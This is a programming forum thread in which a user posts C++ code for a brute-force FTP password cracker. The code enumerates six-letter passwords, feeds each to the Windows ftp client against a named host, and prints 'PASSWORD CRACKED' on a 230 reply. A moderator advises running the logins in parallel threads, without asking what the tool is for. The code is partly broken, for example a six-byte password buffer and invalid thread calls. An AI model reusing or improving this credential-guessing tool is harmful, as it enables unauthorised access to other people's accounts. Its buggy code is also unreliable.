473,786 Members | 2,405 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

system() in for loop

109 New Member
I am running a loop which logs me into my ftp account. However, I need it to run VERY fast repeatedly. My problem is that, whether the login is successful or unsuccessful, it is quite slow because it has to then wait to login again etc. This is the code just for my login:

Expand|Select|Wrap|Line Numbers
  1. cout<< a << b << c << d << e << f <<"\n";
  2. ofstream record ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
  3. record<< a << b << c << d << e << f;
  4. record.close();
  5. ifstream readrecord ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
  6. char password[6];
  7. readrecord>> password;
  8. ofstream ftpscript ( "c:\\Dave\\C-programming\\Password Cracker\\ftpscript.txt" );
  9. ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  10. ftpscript.close();
  11. system("cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.<my-website>.org.uk");
This code is in a for loop which needs to run at very high speeds. If I take out the system() command it runs at the speed I require, but if I leave it in (which I need to or the program will not be doing what I want it to) it does about one attempt to login every 2 seconds, that is very slow for a for loop.
Jun 30 '07 #1
21 2270
weaknessforcats
9,208 Recognized Expert Moderator Expert
Anytime you use the system command() you are at the mercy of the command. In this case, logging onto a server.

Can you batch this stuff up, do one logon and ftp an ftp the entire batch?
Jun 30 '07 #2
niskin
109 New Member
Well what I ideally want to do is instead of disconnecting from the server, keep logging on, however there seems to be no ftp command that runs a script except the ftp -s command, but I have to disconnect to use that again.

What do you mean by "do one logon and ftp an ftp the entire batch"?
Jun 30 '07 #3
weaknessforcats
9,208 Recognized Expert Moderator Expert
Is there any way you can ftp all your data using one ftp?

You say you have a loop.

Can you not accumulate the data from the loop and then ftp it one shot?
Jun 30 '07 #4
niskin
109 New Member
No sadly not. I am using more than one password and some of them may be wrong. It's up to the user to get it right, so I need a loop.
Jun 30 '07 #5
weaknessforcats
9,208 Recognized Expert Moderator Expert
Your next approach is to start a new thread on each system() call. That way the logons can proceed in parallel since there are no limits on the number of threads you can have running at once.

The drawback is you will need to use multithreading which may be a learning curve.
Jul 2 '07 #6
niskin
109 New Member
Have you got any websites you can point me to that will teach me how to do this?
Jul 2 '07 #7
weaknessforcats
9,208 Recognized Expert Moderator Expert
From the way your paths are coded, it looks like you use Windows.

Your thread is a function.

The function must be a ThreadProc:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI ThreadProc(LPVOID);
  2.  
That is, your function can have any name but it must have this prototype.

You call CreateThread(). One of the argument is your threadproc. You use the address of your function. Another argument is the LPVOID. What you put here shows up as the LPVOID argument when your function starts.

CreateThread() will call your function on its own thread. The thread exists as log as your function is running.

If you need to talk to your thread (like ask it to stop or do something new), you use an Event. There are functions for SetEvent and for the thread to detect and event, like WaitForSingleOb ject.

Start here.
Jul 2 '07 #8
niskin
109 New Member
This is what I have tried so far, but it's not working. The function I want it to start in a new thread is called six.

Expand|Select|Wrap|Line Numbers
  1.   if(strlen(letters)==6) {
  2.                            HANDLE WINAPI CreateThread(
  3.                            NULL,
  4.                            0,
  5.                            six,
  6.                            NULL,
  7.                            six(LPVOID),
  8.                            NULL
  9.                            );
What have I done wrong?
Jul 2 '07 #9
niskin
109 New Member
This is an update of my source code. I have put main() back to how it was originally and changed six() instead. Here is the source code for six():

Expand|Select|Wrap|Line Numbers
  1. int six() {
  2.     // define the interface
  3.     struct IRunnable {
  4.     virtual void run() = 0;
  5.     };
  6.  
  7.     // define the thread class
  8.     class Thread {
  9.     public:
  10.     Thread(IRunnable *ptr) {
  11.     _threadObj = ptr;
  12.   }
  13.   void start() {
  14.   // use the Win32 API here
  15.   DWORD threadID;
  16.   ::CreateThread(0, 0, threadProc, _threadObj, 0, &threadID);
  17.   }
  18.  
  19.   protected:
  20.   // Win32 compatible thread parameter and procedure 
  21.   IRunnable *_threadObj; 
  22.   static unsigned long __stdcall threadProc(void* ptr) {
  23.   ((IRunnable*)ptr)->run();
  24.   return 0;
  25.   }   
  26. };
  27.  
  28.   // define class with a threadable method
  29.   class MyObject : IRunnable {
  30.   public:
  31.   // the thread procedure
  32.   virtual void run() {
  33.         char letters[100];
  34.     char username[20];
  35.     ifstream user ( "username.txt" );
  36.     user>> username;
  37.     user.close();
  38.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  39.     ifstream record ( "record.txt" );
  40.     record>> letters;
  41.     record.close();
  42.     for(char a = letters[0]; a <= alphabet[25]; a++)
  43.     {
  44.              for(char b = letters[1]; b <= alphabet[25]; b++)
  45.              {
  46.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  47.                       {
  48.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  49.                            {
  50.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  51.                                     {
  52.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  53.                                              {
  54.                                                       FILE *success;
  55.                                                       success=fopen("success.txt", "w+");
  56.                                                       fprintf(success, "");
  57.                                                       fclose(success);
  58.                                                       cout<< a << b << c << d << e << f <<"\n";
  59.                                                       ofstream record ( "record.txt" );
  60.                                                       record<< a << b << c << d << e << f;
  61.                                                       record.close();
  62.                                                       ifstream readrecord ( "record.txt" );
  63.                                                       char password[6];
  64.                                                       readrecord>> password;
  65.                                                       ofstream ftpscript ( "ftpscript.txt" );
  66.                                                       ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  67.                                                       ftpscript.close();
  68.                                                       char   psBuffer[128];
  69.                                                       FILE   *pPipe;
  70.                                                       /* Run command so that it writes its output to a pipe. Open this
  71.                                                       * pipe with read text attribute so that we can read it 
  72.                                                       * like a text file. 
  73.                                                       */
  74.                                                       if( (pPipe = _popen( "cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.collateraldesign.co.uk", "rt" )) == NULL )
  75.                                                       exit( 1 );
  76.  
  77.                                                       /* Read pipe until end of file. */
  78.                                                       while( !feof( pPipe ) )
  79.                                                       {
  80.                                                       if( fgets( psBuffer, 128, pPipe ) != NULL )
  81.                                                       //printf( psBuffer );
  82.                                                       FILE *success;
  83.                                                       success=fopen("success.txt", "a+");
  84.                                                       fprintf(success, psBuffer);
  85.                                                       fclose(success);
  86.                                                       }
  87.  
  88.                                                       char reada[20];
  89.                                                       char readb[20];
  90.                                                       char readc[20];
  91.                                                       char readd[20];
  92.                                                       char reade[20];
  93.                                                       char readf[20];
  94.                                                       char readg[20];
  95.                                                       char readh[20];
  96.                                                       char readi[20];
  97.                                                       char readj[20];
  98.                                                       char readk[20];
  99.                                                       char readl[20];
  100.                                                       char readm[20];
  101.                                                       int readn;
  102.  
  103.                                                       ifstream read ( "success.txt" );
  104.                                                       read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  105.                                                       read.close();
  106.                                                       //cout<< readn;
  107.                                                       if (readn == 230){
  108.                                                                 cout<< "\n\nPASSWORD CRACKED. PASSWORD IS: " << password;
  109.                                                                 cin.get();
  110.                                                       }
  111.  
  112.                                                       }
  113.                                              }
  114.                                     }
  115.                            }    
  116.                       }
  117.              }
  118.   }
  119. }
  120.  
  121.  MyObject *obj = new MyObject();
  122.  Thread thread = new Thread(obj);
  123.  thread->start();
  124.  
  125. }
These lines:

Expand|Select|Wrap|Line Numbers
  1.  MyObject *obj = new MyObject();
  2.  Thread thread = new Thread(obj);
  3.  thread->start();
are not compiling. Any ideas why?
Jul 2 '07 #10

Sign in to post your reply or Sign up for a free account.

Similar topics

1
2688
by: Bob Helber | last post by:
I've got a perl script with a system command, within a for loop, that calls a FORTRAN program. For one of the iterations of the for loop the FORTRAN program quits with an error due to bad input. This then exits the for loop and does not continue the loop, which I would like it to do, even if the FORTRAN program crashes. How can I "catch" this error and continue the loop. Do I have to fix the FORTRAN program to exit more cleanly? ...
3
514
by: RitaG | last post by:
Hi. I Have a VB.Net Windows Application that starts up using Sub Main. It's a program that runs in the background and checks something every minute. I use a Timer to accomplish this and it's working but to get it to work I use a boolean variable (mbLoop) and the program runs until mbLoop is set to False. Do While mbLoop ' Loop
1
2588
by: dk | last post by:
Any idea why the response time is slow when running a system tray app when viewing the properties form? There is one primary loop and a timer control which executes every 3minutes. Is having the Primary loop the problem? tia, dk
5
8123
by: Ty Moffett | last post by:
I'm using a queue to hold a series of strings that are complete command line arguments to start the silent/unattended installation of various pieces of software. Here is some sample code. 1 Dim myProcess as New Process 2 myProcess.EnableRaiseEvents = True 3 myProcess.StartInfo.Filename = myQ.Dequeue ' The string value in this instance is "c:\windowsXP-KB824146-x86-ENU.exe /u /n /z" 4 Do Until (myProcess.HasExited = True) 5 Loop
2
2357
by: Stressed Out Developer | last post by:
We have an application that has a 200 count loop that does the following: ' Each time thru the loop we pass the next IP Address is a range (aka 192.168.4.50 thru 192.168.4.254) Try If mUIO_Threads(i) Is Nothing Then mUIO_Threads(i) = New System.Threading.Thread(AddressOf mUIO_DAQ(i).InitDAQ) mUIO_Threads(i).Name = mUIO_DAQ(i).UIO_IPAddr mUIO_Threads(i).IsBackground = False
5
4494
by: MSDN | last post by:
Does anyone know why I am getting Invalid cast exception??? For Each oFile As System.web.HttpPostedFile In Request.Files ....... etc..... Next I Checked that
5
3458
by: =?Utf-8?B?Z215ZXJz?= | last post by:
Hello, I am attempting to start a cmd.exe process and pass several .vbs scripts (with additional parameters) and then read the output from the scripts and make "notes" in a DataTable (the "notes" not being the issue). Beginning with... Dim objProcess As Process Dim objProcessStartInfo As New ProcessStartInfo
9
5619
by: Nathan Sokalski | last post by:
I am trying to use the System.Array.ForEach method in VB.NET. The action that I want to perform on each of the Array values is: Private Function AddQuotes(ByVal value As String) As String Return String.Format("'{0}'", value) End Function Basically, I just want to surround each value with single quotes. However, I am having trouble getting this to work using the System.Array.ForEach method. This may be partially because I am not very...
0
10360
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
1
10108
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
9960
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
0
8988
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
1
7510
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
5397
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
1
4064
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
2
3668
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.
3
2894
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.